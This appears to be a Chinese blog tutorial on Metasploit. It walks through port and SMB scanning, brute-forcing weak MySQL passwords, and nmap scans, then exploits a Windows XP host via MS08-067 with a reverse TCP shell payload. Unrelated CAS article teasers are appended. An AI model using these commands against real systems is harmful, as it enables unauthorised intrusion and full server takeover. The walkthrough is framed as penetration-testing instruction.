内网安全:Msfconsole攻击技术(成功拿下服务器最高权限.)

article/2025/9/29 14:45:48

Msfconsole工具 概括:

Msfconsole简称(msf)是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种木马,方便于安全测试人员的使用.

目录

                 Msfconsole的使用:

        第一步:进行端口扫描.

        第二步:进行服务的扫描.

        第三步:扫描3306(Mysql)端口的弱口令

        第四步:在msf模块里也可以使用nmap进行扫描.

        第五步:扫描了服务器是用Win XP,然后对服务器进行渗透测试.

         渗透测试失败的原因:


免责声明:

严禁利用本文章中所提到的虚拟机和技术进行非法攻击,否则后果自负,上传者不承担任何责任。


Msfconsole的使用:

打开Msfconsole工具:

msfconsole


第一步:进行端口扫描.

(1)查看端口扫描的模块:

search portscan

(2)使用端口扫描模块:

use auxiliary/scanner/portscan/tcp

(3)查看模块信息(模块里的yes都要填):

show options

(4)设置目标IP进行扫描:

set rhosts (目标IP地址)

(5)设置线程为100:

set threads 100

(6)使用(执行):run 或者 exploit

run

(7)退出到msf :

back


第二步:进行服务的扫描.

(1)查看smb_version服务模块:

search smb_version

(2)使用服务模块:

use auxiliary/scanner/smb/smb_version 

(3)查看模块信息(模块里的yes都要填):

show options

(4)设置目标IP进行扫描:

set rhosts (目标IP地址)

(5)设置线程为10:

set threads 10

(6)使用(执行):run或者exploit

run

(7)退出到msf :

back


第三步:扫描3306(Mysql)端口的弱口令

(1)查看扫描3306(Mysql)端口的弱口令模板信息:

search mysql_login

(2)使用扫描3306(Mysql)端口的弱口令模块:

use auxiliary/scanner/mysql/mysql_login

(3)查看模块信息(模块里的yes都要填):

show options

(4)设置目标IP进行扫描:

set rhosts (目标IP地址)

(5)设置线程为10:

set threads 10

(6)使用(执行):run或者exploit

run

(7)退出到msf :

back


第四步:在msf模块里也可以使用nmap进行扫描.

(1)主机发现:

nmap -sn 地址/24

(2)端口扫描:

nmap -sS 地址

(3)系统扫描:

nmap -O 地址

(4)版本扫描:

nmap -sV 地址

(5)综合扫描:

nmap -A 地址


第五步:扫描了服务器是用Win XP,然后对服务器进行渗透测试.

(1)启动 postgresql 数据库:

systemctl start postgresql.service


(2)设置为开机自启:

systemctl enable postgresql


(3)启动 Metasploit

msfconsole


(4)搜索Win XP漏洞对应的模块.

search ms08_067


(5)使用Win XP漏洞扫描模块.

use exploit/windows/smb/ms08_067_netapi


(6)设置攻击载荷

set payload generic/shell_reverse_tcp


(7)查看模块信息(模块里的yes都要填).

show options


(8)查看渗透攻击模块的攻击平台,找到操作系统平台版本

show targets 


(9)设置操作系统(target).

set target 34


(10)设置目标IP.

set rhosts (目标IP地址)


(11)设置本地IP

set LHOST 本地IP


(12)设置端口:

set LPORT 4444


(13)使用(执行):run或者exploit


(14)渗透测试成功. 


渗透测试失败的原因:

(1)靶机开启了防火墙.

(2)两台主机不能互联.(用 ping IP地址)

     


参考链接:使用MSF 利用 ms08_067 对 XP 进行渗透_丰梓林的博客-CSDN博客


http://chatgpt.dhexx.cn/article/rE7pdEic.shtml

相关文章

SSO是什么?CAS是什么?

SSO SSO是目前比较流行的服务于企业业务整合的解决方案之一, SSO 使得在多个应用系统中,用户只需要 登录一次 就可以访问所有相互信任的应用系统。 CAS CAS 是 Yale 大学发起的一个企业级的、开源的项目,旨在为 Web 应用系统提供一种可靠的…

什么是CAS?

CAS 是 Yale (耶鲁)大学发起的一个开源项目,旨在为 Web 应用系统提供一种可靠的单点登录方法,CAS 在 2004 年 12 月正式成为 JA-SIG 的一个项目。CAS 具有以下特点: 【1】开源的企业级单点登录解决方案。 【2】CAS S…

什么是CAS和AQS

什么是CAS和AQS CAS理解概念ABA 问题 AQS理解获取同步状态AQS源码分析获取锁释放锁 CAS是一种乐观锁,通过在修改数据时,通过和原来的值进行比较,判断是否有被其他人改变。然后AQS是有一个对列,当线程获取不到锁的时候,…

cas 计算器 android,GeoGebra CAS计算器

GeoGebra CAS计算器app是一款非常不错的几何cas计算工具,支持精确解,展开,分解因式等计算功能,图形分解解析,坐标轴,曲线,参数信息详细,需要的可以下载GeoGebra CAS计算器app使用! 软件简介 求解…

【Java里的CAS机制】什么是CAS,CAS机制

CAS 一、什么是CAS二、CAS的三大缺点ABA问题 一、什么是CAS 前面两篇文章提到CAS操作,那么CAS操作到底是什么东西呢?今天我们来了解一下CAS机制 CAS(Compare-And-Swap),它是一条CPU并发原语,用于判断内存中某个位置的…

CAS机制是什么?

首先我们需要了解为什么有CAS机制的存在?那我们就不得不先知道互斥同步和非阻塞同步。 互斥同步 互斥同步面临的主要问题是进行线程阻塞和唤醒带来的性能开销,因此这种同步也叫阻塞同步。互斥同步属于悲观的并发策略,其总是认为只要不做同步…

CAS单点登录

简介 CAS是Central Authentication Service的缩写,中央认证服务,一种独立开放指令协议。CAS 是 耶鲁大学(Yale University)发起的一个开源项目,旨在为 Web 应用系统提供一种可靠的单点登录方法,CAS 在 200…

什么是CAS(乐观锁)

本文讲解CAS机制,主要是因为最近准备面试题,发现这个问题在面试中出现的频率非常的高,因此把自己学习过程中的一些理解记录下来,希望能对大家也有帮助。 什么是悲观锁、乐观锁?在java语言里,总有一些名词看…

CAS机制

文章目录 1、什么是CAS?2、CAS实现原子操作的3大问题?3、Unsafe类4、AtomicReference5、CAS——自旋锁 1、什么是CAS? CAS的全称是 Compare And Swap(比较再交换,确切一点称之为:比较并且相同再做交换&…

Java 中 CAS 是什么,有哪些实际应用场景

CAS 是什么 CAS(Compare And Swap)是一种并发编程中的原子操作,用于实现多线程之间的同步。在 Java 中,CAS 操作通过 sun.misc.Unsafe 类实现。 CAS 操作是一种乐观锁机制,它假设对于共享变量的修改操作不会引起冲突…

Java 什么是 CAS? 通俗易懂

Java 并发机制实现原子操作有两种: 一种是锁,一种是CAS。 CAS是Compare And Swap(比较并替换)的缩写。 java.util.concurrent.atomic中的很多类,如(AtomicInteger AtomicBoolean AtomicLong等)都…

什么是CAS?CAS有什么缺点?

文章目录 什么是CASCAS 举例说明CAS 底层实现CAS缺陷 什么是CAS CAS 的全称是 Compare And Swap 即比较交换,其算法核心思想如下函数:CAS(V,E,N) 参数: V 表示要更新的变量E 预期值N 新值 如果 V 值等于 E 值,则将 V 的值设为 …

【ceph】存储领域的CAS是什么?什么是CAS|Open CAS|缓存加速软件

目录 什么是CAS 出现原因和应用场景: 初始Open CAS What SPDK Block Device Open CAS Linux Whats Cache? Whats Cache Object? Cache operations Cache Configuration Cache Mode Cache line size Whats Core? Whats Cache line? Cach…

java常见面试考点(二十五):CAS是什么

java常见面试考点 往期文章推荐:   java常见面试考点(二十):Elasticsearch 和 solr 的区别   java常见面试考点(二十一):单点登录   java常见面试考点(二十二)&…

CAS是什么?彻底搞懂CAS

CAS(Compare-And-Swap),它是一条CPU并发原语,用于判断内存中某个位置的值是否为预期值,如果是则更改为新的值,这个过程是原子的。 CAS基本原理 CAS并发原语体现在Java中就是sun.misc.Unsafe类中的各个方法。调用UnSa…

(一)CAS是什么?

前言 随着企业数字化转型的不断发展,应用系统越来越多,每个系统都有一套用户系统,用户在操作不同的系统时,需要多次登录,而且每个系统的账号都不一样,这对于用户来说,很不方便。这时候要做到 在…

CAS是什么

目录 没有CAS之前 使用CAS之后 CAS是什么 CAS底层原理:unsafe类 Unsafe new AtomicInteger().getAndIncrement()流程 CAS缺点 1 循环时间长开销很大 2 ABA问题 ABA代码演示 如何解决?:通过AtomicStampedReference版本号 3不能保…

CAS 是什么?

CAS又称 自旋锁、无锁,是一种乐观锁 compare and swap 的缩写 意为: 比较并交换 , 实现并发算法的常用技术 , 就是说我不用加锁 , 也能保证 ( 加锁会影响效率,可以考虑使用原子操作类 ) 原子性 , 当多个线程尝试使用 CAS 同时更新同一个变量时&#xf…

什么是CAS

文章目录 一、CAS是什么二、CAS 可以解决什么问题三、CAS实现原子操作的问题 一、CAS是什么 CAS的全称为compare and swap 或者compare and exchange,意思为比较和交换。CAS流程如下: 假设我们有一个共享变量i,初始值为0。我们现在要对i进行加1的操作…

metasploit图形化工具 Armitage

Metasploit默认使用PostgreSQL存储渗透测试所需的数据表,所以在启动Armitage之前需要首先启动PostgreSQL服务和Metasploit服务,然后再启动armitage,弹出对话框询问是否连接Metasploit的RPC信道,依次选择“connect”、“是”选项。…